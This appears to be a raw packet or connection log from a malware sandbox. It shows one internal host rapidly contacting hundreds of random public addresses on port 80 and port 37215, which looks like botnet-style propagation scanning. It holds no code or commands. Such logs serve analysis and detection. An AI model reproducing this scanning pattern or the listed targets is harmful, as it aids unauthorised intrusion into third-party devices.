Oct 17, 2024 02:19:41.047745943 CEST	20646	80	192.168.2.14	119.188.95.244
Oct 17, 2024 02:19:41.047745943 CEST	20646	80	192.168.2.14	178.247.102.12
Oct 17, 2024 02:19:41.047753096 CEST	20646	80	192.168.2.14	78.114.185.243
Oct 17, 2024 02:19:41.047753096 CEST	20646	80	192.168.2.14	98.41.180.122
Oct 17, 2024 02:19:41.047761917 CEST	20646	80	192.168.2.14	162.148.153.221
Oct 17, 2024 02:19:41.047780037 CEST	20646	80	192.168.2.14	156.244.253.66
Oct 17, 2024 02:19:41.047782898 CEST	20646	80	192.168.2.14	186.131.224.227
Oct 17, 2024 02:19:41.047785044 CEST	20646	80	192.168.2.14	95.0.46.191
Oct 17, 2024 02:19:41.047805071 CEST	20646	80	192.168.2.14	175.233.233.82
Oct 17, 2024 02:19:41.047806025 CEST	20646	80	192.168.2.14	188.91.246.142
Oct 17, 2024 02:19:41.047807932 CEST	20646	80	192.168.2.14	119.247.237.195
Oct 17, 2024 02:19:41.047836065 CEST	20646	80	192.168.2.14	201.172.176.111
Oct 17, 2024 02:19:41.047837973 CEST	20646	80	192.168.2.14	136.120.28.97
Oct 17, 2024 02:19:41.047841072 CEST	20646	80	192.168.2.14	187.227.210.237
Oct 17, 2024 02:19:41.047852993 CEST	20646	80	192.168.2.14	200.23.35.209
Oct 17, 2024 02:19:41.047853947 CEST	20646	80	192.168.2.14	154.95.3.50
Oct 17, 2024 02:19:41.047853947 CEST	20646	80	192.168.2.14	119.78.208.204
Oct 17, 2024 02:19:41.047894001 CEST	20646	80	192.168.2.14	164.78.102.220
Oct 17, 2024 02:19:41.048089981 CEST	20646	80	192.168.2.14	163.169.40.216
Oct 17, 2024 02:19:41.048090935 CEST	20646	80	192.168.2.14	87.186.36.29
Oct 17, 2024 02:19:41.048105955 CEST	20646	80	192.168.2.14	112.86.57.187
Oct 17, 2024 02:19:41.048105955 CEST	20646	80	192.168.2.14	158.161.249.229
Oct 17, 2024 02:19:41.048108101 CEST	20646	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:41.048110962 CEST	20646	80	192.168.2.14	12.241.125.1
Oct 17, 2024 02:19:41.048135042 CEST	20646	80	192.168.2.14	194.68.119.252
Oct 17, 2024 02:19:41.048135042 CEST	20646	80	192.168.2.14	121.172.207.133
Oct 17, 2024 02:19:41.048136950 CEST	20646	80	192.168.2.14	114.116.10.200
Oct 17, 2024 02:19:41.048141956 CEST	20646	80	192.168.2.14	43.21.92.170
Oct 17, 2024 02:19:41.048152924 CEST	20646	80	192.168.2.14	86.43.205.69
Oct 17, 2024 02:19:41.048156977 CEST	20646	80	192.168.2.14	117.41.206.152
Oct 17, 2024 02:19:41.048166990 CEST	20646	80	192.168.2.14	4.1.182.38
Oct 17, 2024 02:19:41.048166990 CEST	20646	80	192.168.2.14	91.27.120.122
Oct 17, 2024 02:19:41.048181057 CEST	20646	80	192.168.2.14	38.136.129.243
Oct 17, 2024 02:19:41.048191071 CEST	20646	80	192.168.2.14	53.51.153.5
Oct 17, 2024 02:19:41.048192024 CEST	20646	80	192.168.2.14	109.66.110.33
Oct 17, 2024 02:19:41.048203945 CEST	20646	80	192.168.2.14	218.145.129.51
Oct 17, 2024 02:19:41.048206091 CEST	20646	80	192.168.2.14	148.158.180.198
Oct 17, 2024 02:19:41.048211098 CEST	20646	80	192.168.2.14	177.136.92.165
Oct 17, 2024 02:19:41.048211098 CEST	20646	80	192.168.2.14	17.122.166.217
Oct 17, 2024 02:19:41.048211098 CEST	20646	80	192.168.2.14	188.250.179.38
Oct 17, 2024 02:19:41.048230886 CEST	20646	80	192.168.2.14	63.79.247.38
Oct 17, 2024 02:19:41.048234940 CEST	20646	80	192.168.2.14	138.91.201.182
Oct 17, 2024 02:19:41.048234940 CEST	20646	80	192.168.2.14	208.207.119.134
Oct 17, 2024 02:19:41.049185991 CEST	20646	80	192.168.2.14	101.123.107.119
Oct 17, 2024 02:19:41.049186945 CEST	20646	80	192.168.2.14	14.237.170.133
Oct 17, 2024 02:19:41.049185991 CEST	20646	80	192.168.2.14	149.208.111.249
Oct 17, 2024 02:19:41.049189091 CEST	20646	80	192.168.2.14	69.92.11.190
Oct 17, 2024 02:19:41.049195051 CEST	20646	80	192.168.2.14	213.53.246.91
Oct 17, 2024 02:19:41.049195051 CEST	20646	80	192.168.2.14	129.150.179.203
Oct 17, 2024 02:19:41.049232006 CEST	20646	80	192.168.2.14	205.137.136.50
Oct 17, 2024 02:19:41.049245119 CEST	20646	80	192.168.2.14	200.249.109.225
Oct 17, 2024 02:19:41.049246073 CEST	20646	80	192.168.2.14	91.220.106.220
Oct 17, 2024 02:19:41.050122976 CEST	80	20646	174.24.2.27	192.168.2.14
Oct 17, 2024 02:19:41.050185919 CEST	20646	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:41.050266981 CEST	80	20646	176.113.27.165	192.168.2.14
Oct 17, 2024 02:19:41.050299883 CEST	80	20646	96.128.202.170	192.168.2.14
Oct 17, 2024 02:19:41.050329924 CEST	80	20646	113.128.194.225	192.168.2.14
Oct 17, 2024 02:19:41.050338030 CEST	20646	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:41.050349951 CEST	20646	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:41.050363064 CEST	80	20646	104.67.111.220	192.168.2.14
Oct 17, 2024 02:19:41.050424099 CEST	80	20646	5.130.89.178	192.168.2.14
Oct 17, 2024 02:19:41.050426006 CEST	20646	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:41.050426006 CEST	20646	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:41.050455093 CEST	80	20646	175.135.73.178	192.168.2.14
Oct 17, 2024 02:19:41.050481081 CEST	20646	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:41.050483942 CEST	80	20646	27.147.76.225	192.168.2.14
Oct 17, 2024 02:19:41.050513029 CEST	80	20646	206.61.33.79	192.168.2.14
Oct 17, 2024 02:19:41.050523996 CEST	20646	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:41.050543070 CEST	80	20646	155.202.61.115	192.168.2.14
Oct 17, 2024 02:19:41.050569057 CEST	20646	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:41.050569057 CEST	20646	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:41.050574064 CEST	80	20646	174.27.117.70	192.168.2.14
Oct 17, 2024 02:19:41.050595999 CEST	20646	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:41.050601959 CEST	80	20646	173.138.120.251	192.168.2.14
Oct 17, 2024 02:19:41.050633907 CEST	20646	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:41.050652027 CEST	80	20646	131.123.125.247	192.168.2.14
Oct 17, 2024 02:19:41.050653934 CEST	20646	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:41.050682068 CEST	80	20646	73.11.181.94	192.168.2.14
Oct 17, 2024 02:19:41.050713062 CEST	80	20646	198.90.180.54	192.168.2.14
Oct 17, 2024 02:19:41.050715923 CEST	20646	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:41.050724983 CEST	20646	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:41.050741911 CEST	80	20646	151.92.33.61	192.168.2.14
Oct 17, 2024 02:19:41.050766945 CEST	20646	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:41.050771952 CEST	80	20646	151.5.201.239	192.168.2.14
Oct 17, 2024 02:19:41.050787926 CEST	20646	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:41.050802946 CEST	80	20646	117.8.254.220	192.168.2.14
Oct 17, 2024 02:19:41.050832987 CEST	80	20646	101.247.211.235	192.168.2.14
Oct 17, 2024 02:19:41.050836086 CEST	20646	80	192.168.2.14	151.5.201.239
Oct 17, 2024 02:19:41.050863028 CEST	80	20646	183.101.116.38	192.168.2.14
Oct 17, 2024 02:19:41.050882101 CEST	20646	80	192.168.2.14	101.247.211.235
Oct 17, 2024 02:19:41.050890923 CEST	80	20646	136.140.231.208	192.168.2.14
Oct 17, 2024 02:19:41.050908089 CEST	20646	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:41.050921917 CEST	20646	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:41.050930977 CEST	20646	80	192.168.2.14	136.140.231.208
Oct 17, 2024 02:19:41.050951004 CEST	80	20646	57.193.125.46	192.168.2.14
Oct 17, 2024 02:19:41.050978899 CEST	80	20646	166.156.182.79	192.168.2.14
Oct 17, 2024 02:19:41.050987959 CEST	20646	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:41.051009893 CEST	80	20646	155.248.209.160	192.168.2.14
Oct 17, 2024 02:19:41.051038980 CEST	80	20646	175.89.36.136	192.168.2.14
Oct 17, 2024 02:19:41.051069021 CEST	80	20646	5.71.231.134	192.168.2.14
Oct 17, 2024 02:19:41.051084995 CEST	20646	80	192.168.2.14	155.248.209.160
Oct 17, 2024 02:19:41.051098108 CEST	80	20646	180.83.57.162	192.168.2.14
Oct 17, 2024 02:19:41.051114082 CEST	20646	80	192.168.2.14	5.71.231.134
Oct 17, 2024 02:19:41.051126957 CEST	80	20646	39.144.2.241	192.168.2.14
Oct 17, 2024 02:19:41.051136017 CEST	20646	80	192.168.2.14	166.156.182.79
Oct 17, 2024 02:19:41.051136017 CEST	20646	80	192.168.2.14	175.89.36.136
Oct 17, 2024 02:19:41.051156044 CEST	20646	80	192.168.2.14	180.83.57.162
Oct 17, 2024 02:19:41.051161051 CEST	80	20646	216.162.115.8	192.168.2.14
Oct 17, 2024 02:19:41.051173925 CEST	20646	80	192.168.2.14	39.144.2.241
Oct 17, 2024 02:19:41.051189899 CEST	80	20646	93.69.149.217	192.168.2.14
Oct 17, 2024 02:19:41.051225901 CEST	80	20646	59.213.205.136	192.168.2.14
Oct 17, 2024 02:19:41.051239014 CEST	20646	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:41.051242113 CEST	20646	80	192.168.2.14	216.162.115.8
Oct 17, 2024 02:19:41.051271915 CEST	80	20646	54.190.28.113	192.168.2.14
Oct 17, 2024 02:19:41.051279068 CEST	20646	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:41.051327944 CEST	80	20646	162.59.53.132	192.168.2.14
Oct 17, 2024 02:19:41.051337957 CEST	20646	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:41.051358938 CEST	80	20646	172.48.127.151	192.168.2.14
Oct 17, 2024 02:19:41.051403999 CEST	20646	80	192.168.2.14	162.59.53.132
Oct 17, 2024 02:19:41.051405907 CEST	20646	80	192.168.2.14	172.48.127.151
Oct 17, 2024 02:19:41.051408052 CEST	80	20646	45.21.149.219	192.168.2.14
Oct 17, 2024 02:19:41.051464081 CEST	80	20646	47.123.240.67	192.168.2.14
Oct 17, 2024 02:19:41.051465034 CEST	20646	80	192.168.2.14	45.21.149.219
Oct 17, 2024 02:19:41.051493883 CEST	80	20646	24.159.2.208	192.168.2.14
Oct 17, 2024 02:19:41.051510096 CEST	20646	80	192.168.2.14	47.123.240.67
Oct 17, 2024 02:19:41.051525116 CEST	80	20646	43.226.11.224	192.168.2.14
Oct 17, 2024 02:19:41.051539898 CEST	20646	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:41.051553965 CEST	80	20646	180.39.30.52	192.168.2.14
Oct 17, 2024 02:19:41.051573038 CEST	20646	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:41.051583052 CEST	80	20646	184.113.130.61	192.168.2.14
Oct 17, 2024 02:19:41.051594019 CEST	20646	80	192.168.2.14	180.39.30.52
Oct 17, 2024 02:19:41.051611900 CEST	80	20646	200.69.221.58	192.168.2.14
Oct 17, 2024 02:19:41.051640987 CEST	80	20646	96.126.207.202	192.168.2.14
Oct 17, 2024 02:19:41.051652908 CEST	20646	80	192.168.2.14	200.69.221.58
Oct 17, 2024 02:19:41.051671028 CEST	80	20646	130.169.41.233	192.168.2.14
Oct 17, 2024 02:19:41.051683903 CEST	20646	80	192.168.2.14	96.126.207.202
Oct 17, 2024 02:19:41.051698923 CEST	20646	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:41.051702023 CEST	80	20646	128.7.12.180	192.168.2.14
Oct 17, 2024 02:19:41.051712036 CEST	20646	80	192.168.2.14	130.169.41.233
Oct 17, 2024 02:19:41.051759005 CEST	80	20646	137.55.111.123	192.168.2.14
Oct 17, 2024 02:19:41.051789045 CEST	80	20646	162.0.128.111	192.168.2.14
Oct 17, 2024 02:19:41.051798105 CEST	20646	80	192.168.2.14	128.7.12.180
Oct 17, 2024 02:19:41.051819086 CEST	80	20646	139.119.78.74	192.168.2.14
Oct 17, 2024 02:19:41.051834106 CEST	20646	80	192.168.2.14	137.55.111.123
Oct 17, 2024 02:19:41.051846981 CEST	80	20646	220.222.96.189	192.168.2.14
Oct 17, 2024 02:19:41.051876068 CEST	80	20646	129.241.26.197	192.168.2.14
Oct 17, 2024 02:19:41.051884890 CEST	20646	80	192.168.2.14	162.0.128.111
Oct 17, 2024 02:19:41.051889896 CEST	20646	80	192.168.2.14	220.222.96.189
Oct 17, 2024 02:19:41.051904917 CEST	80	20646	163.8.170.156	192.168.2.14
Oct 17, 2024 02:19:41.051934004 CEST	80	20646	147.49.229.14	192.168.2.14
Oct 17, 2024 02:19:41.051964045 CEST	80	20646	182.132.193.27	192.168.2.14
Oct 17, 2024 02:19:41.051976919 CEST	20646	80	192.168.2.14	139.119.78.74
Oct 17, 2024 02:19:41.051978111 CEST	20646	80	192.168.2.14	129.241.26.197
Oct 17, 2024 02:19:41.051992893 CEST	80	20646	218.108.23.30	192.168.2.14
Oct 17, 2024 02:19:41.052011013 CEST	20646	80	192.168.2.14	182.132.193.27
Oct 17, 2024 02:19:41.052011967 CEST	20646	80	192.168.2.14	163.8.170.156
Oct 17, 2024 02:19:41.052012920 CEST	20646	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:41.052022934 CEST	80	20646	207.203.30.200	192.168.2.14
Oct 17, 2024 02:19:41.052037001 CEST	20646	80	192.168.2.14	218.108.23.30
Oct 17, 2024 02:19:41.052052975 CEST	80	20646	202.116.48.74	192.168.2.14
Oct 17, 2024 02:19:41.052069902 CEST	20646	80	192.168.2.14	207.203.30.200
Oct 17, 2024 02:19:41.052082062 CEST	80	20646	98.242.53.73	192.168.2.14
Oct 17, 2024 02:19:41.052110910 CEST	80	20646	213.16.243.220	192.168.2.14
Oct 17, 2024 02:19:41.052131891 CEST	20646	80	192.168.2.14	202.116.48.74
Oct 17, 2024 02:19:41.052131891 CEST	20646	80	192.168.2.14	98.242.53.73
Oct 17, 2024 02:19:41.052139997 CEST	80	20646	198.36.138.239	192.168.2.14
Oct 17, 2024 02:19:41.052161932 CEST	20646	80	192.168.2.14	213.16.243.220
Oct 17, 2024 02:19:41.052171946 CEST	80	20646	102.219.103.167	192.168.2.14
Oct 17, 2024 02:19:41.052201986 CEST	80	20646	208.9.61.39	192.168.2.14
Oct 17, 2024 02:19:41.052212954 CEST	20646	80	192.168.2.14	198.36.138.239
Oct 17, 2024 02:19:41.052217960 CEST	20646	80	192.168.2.14	102.219.103.167
Oct 17, 2024 02:19:41.052231073 CEST	80	20646	93.85.10.209	192.168.2.14
Oct 17, 2024 02:19:41.052261114 CEST	80	20646	199.4.155.168	192.168.2.14
Oct 17, 2024 02:19:41.052268982 CEST	20646	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:41.052284002 CEST	20646	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:41.052290916 CEST	80	20646	89.205.249.27	192.168.2.14
Oct 17, 2024 02:19:41.052320957 CEST	80	20646	196.201.9.128	192.168.2.14
Oct 17, 2024 02:19:41.052335978 CEST	20646	80	192.168.2.14	199.4.155.168
Oct 17, 2024 02:19:41.052346945 CEST	20646	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:41.052352905 CEST	80	20646	133.147.117.27	192.168.2.14
Oct 17, 2024 02:19:41.052378893 CEST	20646	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:41.052382946 CEST	80	20646	68.253.207.101	192.168.2.14
Oct 17, 2024 02:19:41.052400112 CEST	20646	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:41.052421093 CEST	20646	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:41.052439928 CEST	80	20646	189.3.53.250	192.168.2.14
Oct 17, 2024 02:19:41.052479029 CEST	80	20646	160.83.128.230	192.168.2.14
Oct 17, 2024 02:19:41.052490950 CEST	20646	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:41.052508116 CEST	80	20646	173.134.199.164	192.168.2.14
Oct 17, 2024 02:19:41.052527905 CEST	20646	80	192.168.2.14	160.83.128.230
Oct 17, 2024 02:19:41.052539110 CEST	80	20646	126.195.147.30	192.168.2.14
Oct 17, 2024 02:19:41.052561998 CEST	20646	80	192.168.2.14	173.134.199.164
Oct 17, 2024 02:19:41.052567005 CEST	80	20646	174.64.204.55	192.168.2.14
Oct 17, 2024 02:19:41.052597046 CEST	80	20646	132.200.106.230	192.168.2.14
Oct 17, 2024 02:19:41.052598000 CEST	20646	80	192.168.2.14	126.195.147.30
Oct 17, 2024 02:19:41.052609921 CEST	20646	80	192.168.2.14	174.64.204.55
Oct 17, 2024 02:19:41.052628994 CEST	80	20646	60.255.163.138	192.168.2.14
Oct 17, 2024 02:19:41.052643061 CEST	20646	80	192.168.2.14	132.200.106.230
Oct 17, 2024 02:19:41.052659035 CEST	80	20646	36.129.78.117	192.168.2.14
Oct 17, 2024 02:19:41.052679062 CEST	20646	80	192.168.2.14	60.255.163.138
Oct 17, 2024 02:19:41.052687883 CEST	80	20646	117.50.228.62	192.168.2.14
Oct 17, 2024 02:19:41.052695990 CEST	20646	80	192.168.2.14	36.129.78.117
Oct 17, 2024 02:19:41.052717924 CEST	80	20646	153.71.173.164	192.168.2.14
Oct 17, 2024 02:19:41.052727938 CEST	20646	80	192.168.2.14	117.50.228.62
Oct 17, 2024 02:19:41.052747965 CEST	80	20646	201.90.41.212	192.168.2.14
Oct 17, 2024 02:19:41.052778006 CEST	80	20646	212.160.200.226	192.168.2.14
Oct 17, 2024 02:19:41.052783012 CEST	20646	80	192.168.2.14	153.71.173.164
Oct 17, 2024 02:19:41.052788973 CEST	20646	80	192.168.2.14	201.90.41.212
Oct 17, 2024 02:19:41.052809000 CEST	80	20646	65.149.139.140	192.168.2.14
Oct 17, 2024 02:19:41.052824974 CEST	20646	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:41.052839041 CEST	80	20646	222.80.213.83	192.168.2.14
Oct 17, 2024 02:19:41.052867889 CEST	80	20646	80.47.111.194	192.168.2.14
Oct 17, 2024 02:19:41.052875042 CEST	20646	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:41.052875042 CEST	20646	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:41.052896976 CEST	80	20646	216.232.8.186	192.168.2.14
Oct 17, 2024 02:19:41.052926064 CEST	80	20646	8.195.166.159	192.168.2.14
Oct 17, 2024 02:19:41.052931070 CEST	20646	80	192.168.2.14	80.47.111.194
Oct 17, 2024 02:19:41.052954912 CEST	80	20646	148.90.123.249	192.168.2.14
Oct 17, 2024 02:19:41.052963018 CEST	20646	80	192.168.2.14	216.232.8.186
Oct 17, 2024 02:19:41.052966118 CEST	20646	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:41.052983999 CEST	80	20646	65.182.119.153	192.168.2.14
Oct 17, 2024 02:19:41.052999020 CEST	20646	80	192.168.2.14	148.90.123.249
Oct 17, 2024 02:19:41.053010941 CEST	80	20646	209.10.130.87	192.168.2.14
Oct 17, 2024 02:19:41.053020954 CEST	20646	80	192.168.2.14	65.182.119.153
Oct 17, 2024 02:19:41.053040028 CEST	80	20646	31.217.15.0	192.168.2.14
Oct 17, 2024 02:19:41.053061008 CEST	20646	80	192.168.2.14	209.10.130.87
Oct 17, 2024 02:19:41.053069115 CEST	80	20646	2.83.98.137	192.168.2.14
Oct 17, 2024 02:19:41.053098917 CEST	80	20646	94.8.190.200	192.168.2.14
Oct 17, 2024 02:19:41.053107977 CEST	20646	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:41.053117990 CEST	20646	80	192.168.2.14	2.83.98.137
Oct 17, 2024 02:19:41.053139925 CEST	20646	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:41.053167105 CEST	80	20646	37.85.205.78	192.168.2.14
Oct 17, 2024 02:19:41.053201914 CEST	80	20646	62.200.140.21	192.168.2.14
Oct 17, 2024 02:19:41.053210974 CEST	20646	80	192.168.2.14	37.85.205.78
Oct 17, 2024 02:19:41.053231001 CEST	80	20646	45.36.46.7	192.168.2.14
Oct 17, 2024 02:19:41.053248882 CEST	20646	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:41.053261042 CEST	80	20646	107.222.113.58	192.168.2.14
Oct 17, 2024 02:19:41.053267956 CEST	20646	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:41.053289890 CEST	80	20646	122.65.119.137	192.168.2.14
Oct 17, 2024 02:19:41.053318977 CEST	80	20646	212.238.39.182	192.168.2.14
Oct 17, 2024 02:19:41.053333998 CEST	20646	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:41.053348064 CEST	80	20646	36.46.127.250	192.168.2.14
Oct 17, 2024 02:19:41.053355932 CEST	20646	80	192.168.2.14	212.238.39.182
Oct 17, 2024 02:19:41.053356886 CEST	20646	80	192.168.2.14	122.65.119.137
Oct 17, 2024 02:19:41.053378105 CEST	80	20646	39.136.67.222	192.168.2.14
Oct 17, 2024 02:19:41.053395987 CEST	20646	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:41.053407907 CEST	80	20646	119.43.17.98	192.168.2.14
Oct 17, 2024 02:19:41.053437948 CEST	80	20646	101.45.45.64	192.168.2.14
Oct 17, 2024 02:19:41.053447962 CEST	20646	80	192.168.2.14	39.136.67.222
Oct 17, 2024 02:19:41.053462982 CEST	20646	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:41.053467035 CEST	80	20646	60.20.43.43	192.168.2.14
Oct 17, 2024 02:19:41.053472996 CEST	20646	80	192.168.2.14	101.45.45.64
Oct 17, 2024 02:19:41.053497076 CEST	80	20646	160.121.87.135	192.168.2.14
Oct 17, 2024 02:19:41.053517103 CEST	20646	80	192.168.2.14	60.20.43.43
Oct 17, 2024 02:19:41.053525925 CEST	80	20646	20.41.13.130	192.168.2.14
Oct 17, 2024 02:19:41.053541899 CEST	20646	80	192.168.2.14	160.121.87.135
Oct 17, 2024 02:19:41.053555965 CEST	80	20646	145.162.52.218	192.168.2.14
Oct 17, 2024 02:19:41.053570032 CEST	20646	80	192.168.2.14	20.41.13.130
Oct 17, 2024 02:19:41.053586006 CEST	80	20646	52.74.204.117	192.168.2.14
Oct 17, 2024 02:19:41.053607941 CEST	20646	80	192.168.2.14	145.162.52.218
Oct 17, 2024 02:19:41.053615093 CEST	80	20646	57.222.88.137	192.168.2.14
Oct 17, 2024 02:19:41.053643942 CEST	80	20646	66.24.173.21	192.168.2.14
Oct 17, 2024 02:19:41.053646088 CEST	20646	80	192.168.2.14	52.74.204.117
Oct 17, 2024 02:19:41.053673029 CEST	80	20646	207.45.81.68	192.168.2.14
Oct 17, 2024 02:19:41.053683043 CEST	20646	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:41.053703070 CEST	80	20646	157.218.99.33	192.168.2.14
Oct 17, 2024 02:19:41.053714991 CEST	20646	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:41.053733110 CEST	80	20646	216.193.119.98	192.168.2.14
Oct 17, 2024 02:19:41.053734064 CEST	20646	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:41.053741932 CEST	20646	80	192.168.2.14	157.218.99.33
Oct 17, 2024 02:19:41.053742886 CEST	20644	37215	192.168.2.14	197.144.202.170
Oct 17, 2024 02:19:41.053761959 CEST	80	20646	114.192.180.8	192.168.2.14
Oct 17, 2024 02:19:41.053791046 CEST	80	20646	35.45.188.242	192.168.2.14
Oct 17, 2024 02:19:41.053797960 CEST	20644	37215	192.168.2.14	197.8.130.27
Oct 17, 2024 02:19:41.053814888 CEST	20646	80	192.168.2.14	114.192.180.8
Oct 17, 2024 02:19:41.053818941 CEST	80	20646	166.226.230.169	192.168.2.14
Oct 17, 2024 02:19:41.053841114 CEST	20646	80	192.168.2.14	216.193.119.98
Oct 17, 2024 02:19:41.053841114 CEST	20646	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:41.053854942 CEST	20644	37215	192.168.2.14	197.16.66.225
Oct 17, 2024 02:19:41.053858042 CEST	20644	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:41.053860903 CEST	20646	80	192.168.2.14	166.226.230.169
Oct 17, 2024 02:19:41.053869963 CEST	80	20646	135.254.222.236	192.168.2.14
Oct 17, 2024 02:19:41.053906918 CEST	80	20646	27.237.227.136	192.168.2.14
Oct 17, 2024 02:19:41.053908110 CEST	20646	80	192.168.2.14	135.254.222.236
Oct 17, 2024 02:19:41.053937912 CEST	80	20646	222.193.195.36	192.168.2.14
Oct 17, 2024 02:19:41.053961992 CEST	20646	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:41.053966999 CEST	80	20646	85.40.106.105	192.168.2.14
Oct 17, 2024 02:19:41.053991079 CEST	20646	80	192.168.2.14	222.193.195.36
Oct 17, 2024 02:19:41.053997040 CEST	80	20646	74.31.107.159	192.168.2.14
Oct 17, 2024 02:19:41.054018974 CEST	20644	37215	192.168.2.14	41.187.219.13
Oct 17, 2024 02:19:41.054025888 CEST	20646	80	192.168.2.14	85.40.106.105
Oct 17, 2024 02:19:41.054025888 CEST	80	20646	210.38.120.199	192.168.2.14
Oct 17, 2024 02:19:41.054028034 CEST	20644	37215	192.168.2.14	197.227.122.154
Oct 17, 2024 02:19:41.054040909 CEST	20646	80	192.168.2.14	74.31.107.159
Oct 17, 2024 02:19:41.054054976 CEST	80	20646	61.192.170.125	192.168.2.14
Oct 17, 2024 02:19:41.054068089 CEST	20646	80	192.168.2.14	210.38.120.199
Oct 17, 2024 02:19:41.054079056 CEST	20644	37215	192.168.2.14	197.226.27.20
Oct 17, 2024 02:19:41.054079056 CEST	20644	37215	192.168.2.14	156.110.225.254
Oct 17, 2024 02:19:41.054083109 CEST	20644	37215	192.168.2.14	156.174.124.75
Oct 17, 2024 02:19:41.054085970 CEST	80	20646	220.154.93.134	192.168.2.14
Oct 17, 2024 02:19:41.054090023 CEST	20644	37215	192.168.2.14	197.185.101.11
Oct 17, 2024 02:19:41.054094076 CEST	20646	80	192.168.2.14	61.192.170.125
Oct 17, 2024 02:19:41.054094076 CEST	20644	37215	192.168.2.14	41.24.74.237
Oct 17, 2024 02:19:41.054117918 CEST	80	20646	138.39.198.132	192.168.2.14
Oct 17, 2024 02:19:41.054148912 CEST	80	20646	66.119.106.113	192.168.2.14
Oct 17, 2024 02:19:41.054162979 CEST	20646	80	192.168.2.14	220.154.93.134
Oct 17, 2024 02:19:41.054162979 CEST	20646	80	192.168.2.14	138.39.198.132
Oct 17, 2024 02:19:41.054177999 CEST	80	20646	126.59.55.112	192.168.2.14
Oct 17, 2024 02:19:41.054187059 CEST	20644	37215	192.168.2.14	197.94.217.178
Oct 17, 2024 02:19:41.054189920 CEST	20644	37215	192.168.2.14	41.96.201.111
Oct 17, 2024 02:19:41.054189920 CEST	20646	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:41.054203987 CEST	20644	37215	192.168.2.14	41.37.238.162
Oct 17, 2024 02:19:41.054208994 CEST	80	20646	34.50.168.128	192.168.2.14
Oct 17, 2024 02:19:41.054214954 CEST	20644	37215	192.168.2.14	197.166.253.195
Oct 17, 2024 02:19:41.054214954 CEST	20646	80	192.168.2.14	126.59.55.112
Oct 17, 2024 02:19:41.054224014 CEST	20644	37215	192.168.2.14	156.42.148.140
Oct 17, 2024 02:19:41.054234982 CEST	20644	37215	192.168.2.14	197.249.221.114
Oct 17, 2024 02:19:41.054238081 CEST	80	20646	140.212.103.44	192.168.2.14
Oct 17, 2024 02:19:41.054240942 CEST	20644	37215	192.168.2.14	197.227.16.10
Oct 17, 2024 02:19:41.054244995 CEST	20644	37215	192.168.2.14	197.214.172.28
Oct 17, 2024 02:19:41.054255962 CEST	20646	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:41.054258108 CEST	20644	37215	192.168.2.14	156.213.127.89
Oct 17, 2024 02:19:41.054267883 CEST	80	20646	31.184.127.205	192.168.2.14
Oct 17, 2024 02:19:41.054289103 CEST	20646	80	192.168.2.14	140.212.103.44
Oct 17, 2024 02:19:41.054296970 CEST	80	20646	92.24.74.7	192.168.2.14
Oct 17, 2024 02:19:41.054307938 CEST	20646	80	192.168.2.14	31.184.127.205
Oct 17, 2024 02:19:41.054325104 CEST	20644	37215	192.168.2.14	41.238.65.178
Oct 17, 2024 02:19:41.054325104 CEST	20644	37215	192.168.2.14	156.235.175.203
Oct 17, 2024 02:19:41.054327965 CEST	80	20646	74.67.187.229	192.168.2.14
Oct 17, 2024 02:19:41.054327965 CEST	20644	37215	192.168.2.14	41.236.21.66
Oct 17, 2024 02:19:41.054330111 CEST	20644	37215	192.168.2.14	41.6.177.78
Oct 17, 2024 02:19:41.054330111 CEST	20644	37215	192.168.2.14	156.201.190.43
Oct 17, 2024 02:19:41.054338932 CEST	20646	80	192.168.2.14	92.24.74.7
